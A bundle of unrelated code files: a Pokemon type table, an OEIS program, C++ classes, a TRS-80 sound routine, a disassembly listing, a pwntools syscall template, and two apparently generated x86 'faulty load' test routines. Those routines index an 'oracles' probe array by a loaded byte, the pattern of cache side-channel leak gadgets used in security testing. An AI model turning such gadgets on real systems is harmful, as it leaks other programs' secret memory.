db BUG, FIGHTING, NOT_VERY_EFFECTIVE
db BUG, FLYING, NOT_VERY_EFFECTIVE
db BUG, GHOST, NOT_VERY_EFFECTIVE
db BUG, POISON, SUPER_EFFECTIVE
db BUG, GRASS, SUPER_EFFECTIVE
db BUG, PSYCHIC_TYPE, SUPER_EFFECTIVE
db ROCK, FIGHTING, NOT_VERY_EFFECTIVE
db ROCK, GROUND, NOT_VERY_EFFECTIVE
db ROCK, FIRE, SUPER_EFFECTIVE
db ROCK, FLYING, SUPER_EFFECTIVE
db ROCK, BUG, SUPER_EFFECTIVE
db ROCK, ICE, SUPER_EFFECTIVE
db GHOST, SOUND, NO_EFFECT
;db GHOST, PSYCHIC_TYPE, NO_EFFECT
db GHOST, PSYCHIC_TYPE, SUPER_EFFECTIVE
db GHOST, GHOST, SUPER_EFFECTIVE
db DRAGON, DRAGON, SUPER_EFFECTIVE
db -1 ; end
|
; A088841: Numerator of quotient=sigma[7n]/sigma[n].
; 8,8,8,8,8,8,57,8,8,8,8,8,8,57,8,8,8,8,8,8,57,8,8,8,8,8,8,57,8,8,8,8,8,8,57,8,8,8,8,8,8,57,8,8,8,8,8,8,400,8,8,8,8,8,8,57,8,8,8,8,8,8,57,8,8,8,8,8,8,57,8,8,8,8,8,8,57,8,8,8,8,8,8,57,8,8,8,8,8,8,57,8,8,8,8,8,8
add $0,1
gcd $0,49
div $0,6
mul $0,49
add $0,8
|
/*
Copyright (c) 2012, SMB Phone Inc.
All rights reserved.
Redistribution and use in source and binary forms, with or without
modification, are permitted provided that the following conditions are met:
1. Redistributions of source code must retain the above copyright notice, this
list of conditions and the following disclaimer.
2. Redistributions in binary form must reproduce the above copyright notice,
this list of conditions and the following disclaimer in the documentation
and/or other materials provided with the distribution.
THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND
ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED
WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE LIABLE FOR
ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES
(INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES;
LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND
ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
(INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS
SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
The views and conclusions contained in the software and documentation are those
of the authors and should not be interpreted as representing official policies,
either expressed or implied, of the FreeBSD Project.
*/
#include <hookflash/provisioning/message/internal/provisioning_message_ProfilePutResult.h>
#include <hookflash/stack/message/IMessageHelper.h>
#include <zsLib/Numeric.h>
namespace hookflash
{
namespace provisioning
{
namespace message
{
using zsLib::Numeric;
typedef zsLib::WORD WORD;
typedef zsLib::String String;
typedef zsLib::XML::ElementPtr ElementPtr;
typedef stack::message::IMessageHelper IMessageHelper;
typedef provisioning::IAccount::IdentityInfo IdentityInfo;
typedef provisioning::IAccount::IdentityInfoList IdentityInfoList;
ProfilePutResultPtr ProfilePutResult::convert(MessagePtr message)
{
return boost::dynamic_pointer_cast<ProfilePutResult>(message);
}
ProfilePutResult::ProfilePutResult()
{
}
bool ProfilePutResult::hasAttribute(ProfilePutResult::AttributeTypes type) const
{
switch (type)
{
case AttributeType_LastProfileUpdateTimestamp: return (Time() != mLastProfileUpdateTimestamp);
case AttributeType_Profiles: return (mProfiles.size() > 0);
default: break;
}
return MessageResult::hasAttribute((MessageResult::AttributeTypes)type);
}
namespace internal
{
ProfilePutResultPtr ProfilePutResult::create(ElementPtr root)
{
ProfilePutResultPtr ret(new message::ProfilePutResult);
ret->mID = IMessageHelper::getAttributeID(root);
ret->mTime = IMessageHelper::getAttributeEpoch(root);
ret->mLastProfileUpdateTimestamp = IMessageHelper::stringToTime(IMessageHelper::getChildElementText(root, "lastProfileUpdateTimestamp"));
ElementPtr profilesEl = root->findFirstChildElement("profiles");
if (profilesEl) {
ElementPtr profileEl = profilesEl->findFirstChildElement("profile");
while (profileEl)
{
IdentityInfo profile;
profile.mType = provisioning::IAccount::toIdentity(IMessageHelper::getChildElementText(profileEl, "identityType"));
profile.mUniqueID = IMessageHelper::getChildElementText(profileEl, "identityUniqueID");
profile.mUniqueIDProof = IMessageHelper::getChildElementText(profileEl, "identityUniqueProof");
profile.mValidationState = provisioning::IAccount::toValidationState(IMessageHelper::getChildElementText(profileEl, "validationState"));
profile.mValidationID = IMessageHelper::getChildElementText(profileEl, "validationID");
String priorityStr = IMessageHelper::getChildElementText(profileEl, "priority");
String weightStr = IMessageHelper::getChildElementText(profileEl, "weight");
try {
if (!priorityStr.isEmpty()) {
profile.mPriority = Numeric<WORD>(priorityStr);
}
if (!weightStr.isEmpty()) {
profile.mWeight = Numeric<WORD>(weightStr);
}
} catch (Numeric<WORD>::ValueOutOfRange &) {
}
if (profile.hasData()) {
ret->mProfiles.push_back(profile);
}
profileEl = profileEl->findNextSiblingElement("profile");
}
}
return ret;
}
}
}
}
}
|
; $Id: bit_open.asm,v 1.5 2016/06/16 20:23:51 dom Exp $
;
; TRS-80 1 bit sound functions
;
; void bit_open();
;
; Stefano Bodrato - 8/4/2008
;
SECTION code_clib
PUBLIC bit_open
PUBLIC _bit_open
EXTERN __snd_tick
.bit_open
._bit_open
;-----
; Stefano Bodrato - digiboost fix for new SID, version 8580
ld e,7 ; voice address offset
ld bc,$d406
ld a,$ff
out (c),a ; Set sustain to $F
; add c,e ; next voice
ld c,$06 + 7 ; next voice
out (c),a
; add c,e ; next voice
ld c,$06 + 7
out (c),a
ld bc,$d404
ld a,$49 ; Set SID test bit
out (c),a
;add c,e ; next voice
ld c,$04 + 7
out (c),a
;add c,e ; next voice
ld c,$04 + 7
out (c),a
;-----
ret
|
/*****************************************************************************
UserInputVoid.cpp
Author: Laurent de Soras, 2016
--- Legal stuff ---
This program is free software. It comes without any warranty, to
the extent permitted by applicable law. You can redistribute it
and/or modify it under the terms of the Do What The Fuck You Want
To Public License, Version 2, as published by Sam Hocevar. See
http://sam.zoy.org/wtfpl/COPYING for more details.
*Tab=3***********************************************************************/
#if defined (_MSC_VER)
#pragma warning (1 : 4130 4223 4705 4706)
#pragma warning (4 : 4355 4786 4800)
#endif
/*\\\ INCLUDE FILES \\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\*/
#include "fstb/def.h"
#include "mfx/ui/UserInputVoid.h"
#include "mfx/Cst.h"
#include <cassert>
#if defined (__unix__) || (defined (__APPLE__) && defined (__MACH__))
#include <ctime>
#endif
namespace mfx
{
namespace ui
{
/*\\\ PUBLIC \\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\*/
UserInputVoid::UserInputVoid ()
: _recip_list ()
{
for (int i = 0; i < UserInputType_NBR_ELT; ++i)
{
const int nbr_dev =
do_get_nbr_param (static_cast <UserInputType> (i));
_recip_list [i].resize (nbr_dev, nullptr);
}
}
void UserInputVoid::send_message (std::chrono::microseconds date, UserInputType type, int index, float val)
{
// The cell will be lost but we don't care, this is for debugging.
conc::LockFreeCell <UserInputMsg> * cell_ptr =
new conc::LockFreeCell <UserInputMsg>;
cell_ptr->_next_ptr = nullptr;
cell_ptr->_val.set (date, type, index, val);
_recip_list [type] [index]->enqueue (*cell_ptr);
}
/*\\\ PROTECTED \\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\*/
int UserInputVoid::do_get_nbr_param (UserInputType type) const
{
fstb::unused (type);
return Cst::_max_input_param;
}
void UserInputVoid::do_set_msg_recipient (UserInputType type, int index, MsgQueue * queue_ptr)
{
_recip_list [type] [index] = queue_ptr;
}
void UserInputVoid::do_return_cell (MsgCell &cell)
{
fstb::unused (cell);
// Nothing
}
std::chrono::microseconds UserInputVoid::do_get_cur_date () const
{
#if defined (__unix__) || (defined (__APPLE__) && defined (__MACH__))
timespec tp;
clock_gettime (CLOCK_REALTIME, &tp);
const long ns_mul = 1000L * 1000L * 1000L;
const auto ns = std::chrono::nanoseconds (
int64_t (tp.tv_sec) * ns_mul + tp.tv_nsec
);
return std::chrono::duration_cast <std::chrono::microseconds> (ns);
#else
return std::chrono::duration_cast <std::chrono::microseconds> (
_clk.now ().time_since_epoch ()
);
#endif
}
/*\\\ PRIVATE \\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\*/
} // namespace ui
} // namespace mfx
/*\\\ EOF \\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\*/
|
.global s_prepare_buffers
s_prepare_buffers:
push %r10
push %r11
push %r12
push %r13
push %r15
push %r8
push %rcx
push %rdi
push %rsi
lea addresses_WC_ht+0x1afdf, %r10
clflush (%r10)
sub %r12, %r12
mov (%r10), %rsi
nop
nop
xor $20362, %r11
lea addresses_WT_ht+0x1eddf, %r8
nop
nop
nop
xor %r12, %r12
mov (%r8), %r13w
nop
nop
add $37512, %rsi
lea addresses_normal_ht+0x4ef7, %r13
nop
nop
nop
sub %r15, %r15
mov (%r13), %rsi
nop
nop
nop
inc %rsi
lea addresses_WT_ht+0x1dadf, %rsi
lea addresses_WC_ht+0x19289, %rdi
nop
nop
nop
nop
xor $30802, %r10
mov $15, %rcx
rep movsl
nop
cmp %rdi, %rdi
lea addresses_A_ht+0x198df, %rsi
lea addresses_normal_ht+0x105ff, %rdi
nop
cmp %r10, %r10
mov $122, %rcx
rep movsw
nop
nop
nop
nop
add %r15, %r15
lea addresses_WT_ht+0x1011f, %rsi
lea addresses_A_ht+0x6ea7, %rdi
nop
nop
nop
nop
nop
sub %r11, %r11
mov $58, %rcx
rep movsw
nop
nop
nop
nop
sub $30388, %r10
lea addresses_A_ht+0x244b, %r12
nop
nop
cmp $56290, %rcx
vmovups (%r12), %ymm2
vextracti128 $1, %ymm2, %xmm2
vpextrq $0, %xmm2, %r10
nop
nop
nop
nop
nop
add %rdi, %rdi
lea addresses_WT_ht+0x919f, %rsi
nop
and %rcx, %rcx
mov (%rsi), %edi
cmp $58409, %r10
lea addresses_WC_ht+0x1a4df, %r8
and %r12, %r12
movl $0x61626364, (%r8)
nop
sub $15803, %r10
lea addresses_WC_ht+0x17cff, %rsi
lea addresses_UC_ht+0xa8df, %rdi
clflush (%rsi)
clflush (%rdi)
nop
nop
nop
nop
nop
add %r15, %r15
mov $19, %rcx
rep movsb
nop
nop
nop
nop
nop
add %r11, %r11
lea addresses_WC_ht+0xee9f, %r15
nop
add $30948, %r12
mov $0x6162636465666768, %r13
movq %r13, %xmm2
vmovups %ymm2, (%r15)
nop
nop
nop
nop
nop
and %r11, %r11
lea addresses_WT_ht+0x193bf, %rsi
lea addresses_D_ht+0xa21f, %rdi
nop
nop
nop
nop
inc %r13
mov $32, %rcx
rep movsq
xor %rsi, %rsi
lea addresses_UC_ht+0x50df, %r15
clflush (%r15)
nop
nop
nop
nop
nop
dec %r12
movb (%r15), %r13b
add $13463, %r15
lea addresses_D_ht+0xbfef, %rsi
lea addresses_D_ht+0x1d71f, %rdi
nop
nop
nop
nop
nop
and %r11, %r11
mov $11, %rcx
rep movsb
nop
inc %r10
lea addresses_WC_ht+0x1a4df, %rsi
lea addresses_WC_ht+0x34df, %rdi
clflush (%rsi)
nop
nop
nop
nop
nop
cmp $12964, %r10
mov $23, %rcx
rep movsb
nop
nop
add $28629, %r15
pop %rsi
pop %rdi
pop %rcx
pop %r8
pop %r15
pop %r13
pop %r12
pop %r11
pop %r10
ret
.global s_faulty_load
s_faulty_load:
push %r12
push %r14
push %r15
push %r9
push %rbx
push %rdi
push %rsi
// Load
mov $0x21f, %r12
nop
nop
sub $29237, %r15
vmovups (%r12), %ymm0
vextracti128 $0, %ymm0, %xmm0
vpextrq $1, %xmm0, %r9
nop
nop
nop
nop
xor $38285, %r15
// Faulty Load
lea addresses_D+0x150df, %r12
nop
nop
dec %r14
mov (%r12), %rbx
lea oracles, %r9
and $0xff, %rbx
shlq $12, %rbx
mov (%r9,%rbx,1), %rbx
pop %rsi
pop %rdi
pop %rbx
pop %r9
pop %r15
pop %r14
pop %r12
ret
/*
<gen_faulty_load>
[REF]
{'OP': 'LOAD', 'src': {'type': 'addresses_D', 'size': 4, 'AVXalign': False, 'NT': False, 'congruent': 0, 'same': False}}
{'OP': 'LOAD', 'src': {'type': 'addresses_P', 'size': 32, 'AVXalign': False, 'NT': False, 'congruent': 6, 'same': False}}
[Faulty Load]
{'OP': 'LOAD', 'src': {'type': 'addresses_D', 'size': 8, 'AVXalign': False, 'NT': False, 'congruent': 0, 'same': True}}
<gen_prepare_buffer>
{'OP': 'LOAD', 'src': {'type': 'addresses_WC_ht', 'size': 8, 'AVXalign': False, 'NT': True, 'congruent': 8, 'same': False}}
{'OP': 'LOAD', 'src': {'type': 'addresses_WT_ht', 'size': 2, 'AVXalign': False, 'NT': False, 'congruent': 6, 'same': False}}
{'OP': 'LOAD', 'src': {'type': 'addresses_normal_ht', 'size': 8, 'AVXalign': False, 'NT': False, 'congruent': 3, 'same': False}}
{'OP': 'REPM', 'src': {'type': 'addresses_WT_ht', 'congruent': 9, 'same': False}, 'dst': {'type': 'addresses_WC_ht', 'congruent': 1, 'same': False}}
{'OP': 'REPM', 'src': {'type': 'addresses_A_ht', 'congruent': 9, 'same': False}, 'dst': {'type': 'addresses_normal_ht', 'congruent': 5, 'same': False}}
{'OP': 'REPM', 'src': {'type': 'addresses_WT_ht', 'congruent': 2, 'same': False}, 'dst': {'type': 'addresses_A_ht', 'congruent': 2, 'same': False}}
{'OP': 'LOAD', 'src': {'type': 'addresses_A_ht', 'size': 32, 'AVXalign': False, 'NT': False, 'congruent': 2, 'same': False}}
{'OP': 'LOAD', 'src': {'type': 'addresses_WT_ht', 'size': 4, 'AVXalign': False, 'NT': False, 'congruent': 0, 'same': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_WC_ht', 'size': 4, 'AVXalign': False, 'NT': False, 'congruent': 8, 'same': False}}
{'OP': 'REPM', 'src': {'type': 'addresses_WC_ht', 'congruent': 3, 'same': False}, 'dst': {'type': 'addresses_UC_ht', 'congruent': 10, 'same': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_WC_ht', 'size': 32, 'AVXalign': False, 'NT': False, 'congruent': 6, 'same': False}}
{'OP': 'REPM', 'src': {'type': 'addresses_WT_ht', 'congruent': 4, 'same': True}, 'dst': {'type': 'addresses_D_ht', 'congruent': 5, 'same': True}}
{'OP': 'LOAD', 'src': {'type': 'addresses_UC_ht', 'size': 1, 'AVXalign': False, 'NT': False, 'congruent': 11, 'same': False}}
{'OP': 'REPM', 'src': {'type': 'addresses_D_ht', 'congruent': 2, 'same': False}, 'dst': {'type': 'addresses_D_ht', 'congruent': 6, 'same': True}}
{'OP': 'REPM', 'src': {'type': 'addresses_WC_ht', 'congruent': 9, 'same': False}, 'dst': {'type': 'addresses_WC_ht', 'congruent': 10, 'same': False}}
{'36': 16}
36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36
*/
|
<%
from pwnlib.shellcraft.powerpc.linux import syscall
%>
<%page args="old, new"/>
<%docstring>
Invokes the syscall rename. See 'man 2 rename' for more information.
Arguments:
old(char): old
new(char): new
</%docstring>
${syscall('SYS_rename', old, new)}
|
.global s_prepare_buffers
s_prepare_buffers:
push %r11
push %r9
push %rbp
push %rcx
push %rdi
push %rdx
push %rsi
lea addresses_A_ht+0x73a2, %r9
nop
nop
and %rdx, %rdx
mov $0x6162636465666768, %rsi
movq %rsi, (%r9)
nop
nop
nop
nop
nop
cmp %rbp, %rbp
lea addresses_WC_ht+0xbcd2, %rdi
and %rdx, %rdx
mov (%rdi), %esi
nop
nop
nop
xor $34497, %rdx
lea addresses_UC_ht+0x1cd2, %rsi
lea addresses_UC_ht+0x116d2, %rdi
nop
nop
inc %r11
mov $53, %rcx
rep movsq
nop
nop
nop
inc %rcx
lea addresses_A_ht+0x8d7a, %r11
sub %rdi, %rdi
vmovups (%r11), %ymm6
vextracti128 $0, %ymm6, %xmm6
vpextrq $0, %xmm6, %rcx
nop
nop
nop
nop
nop
add $47574, %rsi
lea addresses_WC_ht+0xf852, %rdx
nop
nop
nop
xor %rdi, %rdi
mov (%rdx), %r9w
xor %rbp, %rbp
lea addresses_WT_ht+0xccd2, %r9
clflush (%r9)
nop
nop
nop
xor $47847, %rsi
mov $0x6162636465666768, %rbp
movq %rbp, (%r9)
nop
nop
nop
nop
nop
cmp $7711, %rsi
lea addresses_WT_ht+0x16ec2, %rcx
nop
nop
nop
nop
xor %rsi, %rsi
movl $0x61626364, (%rcx)
nop
nop
nop
add $63130, %rdx
lea addresses_UC_ht+0xd302, %rdx
nop
nop
nop
nop
nop
add %r11, %r11
movl $0x61626364, (%rdx)
nop
add $55347, %rcx
lea addresses_UC_ht+0x17cd2, %rsi
lea addresses_A_ht+0x144d2, %rdi
nop
nop
nop
nop
nop
add $45634, %rdx
mov $21, %rcx
rep movsb
nop
add $36336, %r9
lea addresses_D_ht+0x50d2, %rcx
nop
xor %rsi, %rsi
mov $0x6162636465666768, %rdi
movq %rdi, %xmm3
movups %xmm3, (%rcx)
sub %rcx, %rcx
lea addresses_WT_ht+0xcc52, %r9
nop
cmp %rbp, %rbp
mov $0x6162636465666768, %rdx
movq %rdx, %xmm7
vmovups %ymm7, (%r9)
nop
nop
xor %rdx, %rdx
lea addresses_WT_ht+0x1b6, %r9
nop
dec %r11
mov (%r9), %di
nop
nop
dec %r11
lea addresses_D_ht+0xb692, %rbp
nop
add $61079, %rsi
mov $0x6162636465666768, %rcx
movq %rcx, %xmm6
movups %xmm6, (%rbp)
sub %rdx, %rdx
lea addresses_D_ht+0x90ce, %rsi
dec %rdx
movl $0x61626364, (%rsi)
nop
sub %rsi, %rsi
pop %rsi
pop %rdx
pop %rdi
pop %rcx
pop %rbp
pop %r9
pop %r11
ret
.global s_faulty_load
s_faulty_load:
push %r10
push %r14
push %r15
push %r9
push %rax
push %rbp
push %rdx
// Store
lea addresses_normal+0x21f2, %r14
cmp %rbp, %rbp
mov $0x5152535455565758, %rax
movq %rax, %xmm2
vmovups %ymm2, (%r14)
nop
nop
nop
and %r9, %r9
// Faulty Load
lea addresses_WC+0x34d2, %rdx
nop
nop
nop
nop
nop
dec %r15
vmovups (%rdx), %ymm6
vextracti128 $0, %ymm6, %xmm6
vpextrq $0, %xmm6, %rax
lea oracles, %r15
and $0xff, %rax
shlq $12, %rax
mov (%r15,%rax,1), %rax
pop %rdx
pop %rbp
pop %rax
pop %r9
pop %r15
pop %r14
pop %r10
ret
/*
<gen_faulty_load>
[REF]
{'OP': 'LOAD', 'src': {'same': False, 'type': 'addresses_WC', 'NT': False, 'AVXalign': False, 'size': 1, 'congruent': 0}}
{'OP': 'STOR', 'dst': {'same': False, 'type': 'addresses_normal', 'NT': False, 'AVXalign': False, 'size': 32, 'congruent': 3}}
[Faulty Load]
{'OP': 'LOAD', 'src': {'same': True, 'type': 'addresses_WC', 'NT': False, 'AVXalign': False, 'size': 32, 'congruent': 0}}
<gen_prepare_buffer>
{'OP': 'STOR', 'dst': {'same': False, 'type': 'addresses_A_ht', 'NT': False, 'AVXalign': False, 'size': 8, 'congruent': 4}}
{'OP': 'LOAD', 'src': {'same': False, 'type': 'addresses_WC_ht', 'NT': False, 'AVXalign': False, 'size': 4, 'congruent': 11}}
{'OP': 'REPM', 'src': {'same': False, 'congruent': 11, 'type': 'addresses_UC_ht'}, 'dst': {'same': False, 'congruent': 8, 'type': 'addresses_UC_ht'}}
{'OP': 'LOAD', 'src': {'same': False, 'type': 'addresses_A_ht', 'NT': False, 'AVXalign': False, 'size': 32, 'congruent': 3}}
{'OP': 'LOAD', 'src': {'same': True, 'type': 'addresses_WC_ht', 'NT': False, 'AVXalign': False, 'size': 2, 'congruent': 7}}
{'OP': 'STOR', 'dst': {'same': False, 'type': 'addresses_WT_ht', 'NT': False, 'AVXalign': False, 'size': 8, 'congruent': 11}}
{'OP': 'STOR', 'dst': {'same': False, 'type': 'addresses_WT_ht', 'NT': True, 'AVXalign': True, 'size': 4, 'congruent': 1}}
{'OP': 'STOR', 'dst': {'same': True, 'type': 'addresses_UC_ht', 'NT': False, 'AVXalign': False, 'size': 4, 'congruent': 3}}
{'OP': 'REPM', 'src': {'same': False, 'congruent': 11, 'type': 'addresses_UC_ht'}, 'dst': {'same': False, 'congruent': 9, 'type': 'addresses_A_ht'}}
{'OP': 'STOR', 'dst': {'same': True, 'type': 'addresses_D_ht', 'NT': False, 'AVXalign': False, 'size': 16, 'congruent': 10}}
{'OP': 'STOR', 'dst': {'same': False, 'type': 'addresses_WT_ht', 'NT': False, 'AVXalign': False, 'size': 32, 'congruent': 7}}
{'OP': 'LOAD', 'src': {'same': False, 'type': 'addresses_WT_ht', 'NT': False, 'AVXalign': False, 'size': 2, 'congruent': 1}}
{'OP': 'STOR', 'dst': {'same': False, 'type': 'addresses_D_ht', 'NT': False, 'AVXalign': False, 'size': 16, 'congruent': 4}}
{'OP': 'STOR', 'dst': {'same': False, 'type': 'addresses_D_ht', 'NT': False, 'AVXalign': False, 'size': 4, 'congruent': 1}}
{'38': 21829}
38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38
*/
|
0x0000 (0x000000) 0x7009- f:00070 d: 9 | P = P + 9 (0x0009)
0x0001 (0x000002) 0x001B- f:00000 d: 27 | PASS | **** non-standard encoding with D:0x001B ****
0x0002 (0x000004) 0x0057- f:00000 d: 87 | PASS | **** non-standard encoding with D:0x0057 ****
0x0003 (0x000006) 0x006D- f:00000 d: 109 | PASS | **** non-standard encoding with D:0x006D ****
0x0004 (0x000008) 0x008D- f:00000 d: 141 | PASS | **** non-standard encoding with D:0x008D ****
0x0005 (0x00000A) 0x0180- f:00000 d: 384 | PASS | **** non-standard encoding with D:0x0180 ****
0x0006 (0x00000C) 0x01A2- f:00000 d: 418 | PASS | **** non-standard encoding with D:0x01A2 ****
0x0007 (0x00000E) 0x01EE- f:00000 d: 494 | PASS | **** non-standard encoding with D:0x01EE ****
0x0008 (0x000010) 0x02DC- f:00001 d: 220 | EXIT | **** non-standard encoding with D:0x00DC ****
0x0009 (0x000012) 0x1007- f:00010 d: 7 | A = 7 (0x0007)
0x000A (0x000014) 0x2718- f:00023 d: 280 | A = A - OR[280]
0x000B (0x000016) 0x800A- f:00100 d: 10 | P = P + 10 (0x0015), C = 0
0x000C (0x000018) 0x2118- f:00020 d: 280 | A = OR[280]
0x000D (0x00001A) 0x2403- f:00022 d: 3 | A = A + OR[3]
0x000E (0x00001C) 0x1C00-0x0007 f:00016 d: 0 | A = A + 7 (0x0007)
0x0010 (0x000020) 0x290D- f:00024 d: 269 | OR[269] = A
0x0011 (0x000022) 0x310D- f:00030 d: 269 | A = (OR[269])
0x0012 (0x000024) 0x2403- f:00022 d: 3 | A = A + OR[3]
0x0013 (0x000026) 0x290D- f:00024 d: 269 | OR[269] = A
0x0014 (0x000028) 0x790D- f:00074 d: 269 | P = OR[269]
0x0015 (0x00002A) 0x1800-0x00F0 f:00014 d: 0 | A = 240 (0x00F0)
0x0017 (0x00002E) 0x291F- f:00024 d: 287 | OR[287] = A
0x0018 (0x000030) 0x7E03-0x0350 f:00077 d: 3 | R = OR[3]+848 (0x0350)
0x001A (0x000034) 0x2120- f:00020 d: 288 | A = OR[288]
0x001B (0x000036) 0x1402- f:00012 d: 2 | A = A + 2 (0x0002)
0x001C (0x000038) 0x2908- f:00024 d: 264 | OR[264] = A
0x001D (0x00003A) 0x3108- f:00030 d: 264 | A = (OR[264])
0x001E (0x00003C) 0x2923- f:00024 d: 291 | OR[291] = A
0x001F (0x00003E) 0x7E03-0x038B f:00077 d: 3 | R = OR[3]+907 (0x038B)
0x0021 (0x000042) 0x3120- f:00030 d: 288 | A = (OR[288])
0x0022 (0x000044) 0x0808- f:00004 d: 8 | A = A > 8 (0x0008)
0x0023 (0x000046) 0x2913- f:00024 d: 275 | OR[275] = A
0x0024 (0x000048) 0x2113- f:00020 d: 275 | A = OR[275]
0x0025 (0x00004A) 0x1601- f:00013 d: 1 | A = A - 1 (0x0001)
0x0026 (0x00004C) 0x8402- f:00102 d: 2 | P = P + 2 (0x0028), A = 0
0x0027 (0x00004E) 0x7009- f:00070 d: 9 | P = P + 9 (0x0030)
0x0028 (0x000050) 0x2120- f:00020 d: 288 | A = OR[288]
0x0029 (0x000052) 0x1402- f:00012 d: 2 | A = A + 2 (0x0002)
0x002A (0x000054) 0x2908- f:00024 d: 264 | OR[264] = A
0x002B (0x000056) 0x3108- f:00030 d: 264 | A = (OR[264])
0x002C (0x000058) 0x2924- f:00024 d: 292 | OR[292] = A
0x002D (0x00005A) 0x7E03-0x038B f:00077 d: 3 | R = OR[3]+907 (0x038B)
0x002F (0x00005E) 0x7003- f:00070 d: 3 | P = P + 3 (0x0032)
0x0030 (0x000060) 0x1000- f:00010 d: 0 | A = 0 (0x0000)
0x0031 (0x000062) 0x2924- f:00024 d: 292 | OR[292] = A
0x0032 (0x000064) 0x2120- f:00020 d: 288 | A = OR[288]
0x0033 (0x000066) 0x1401- f:00012 d: 1 | A = A + 1 (0x0001)
0x0034 (0x000068) 0x2908- f:00024 d: 264 | OR[264] = A
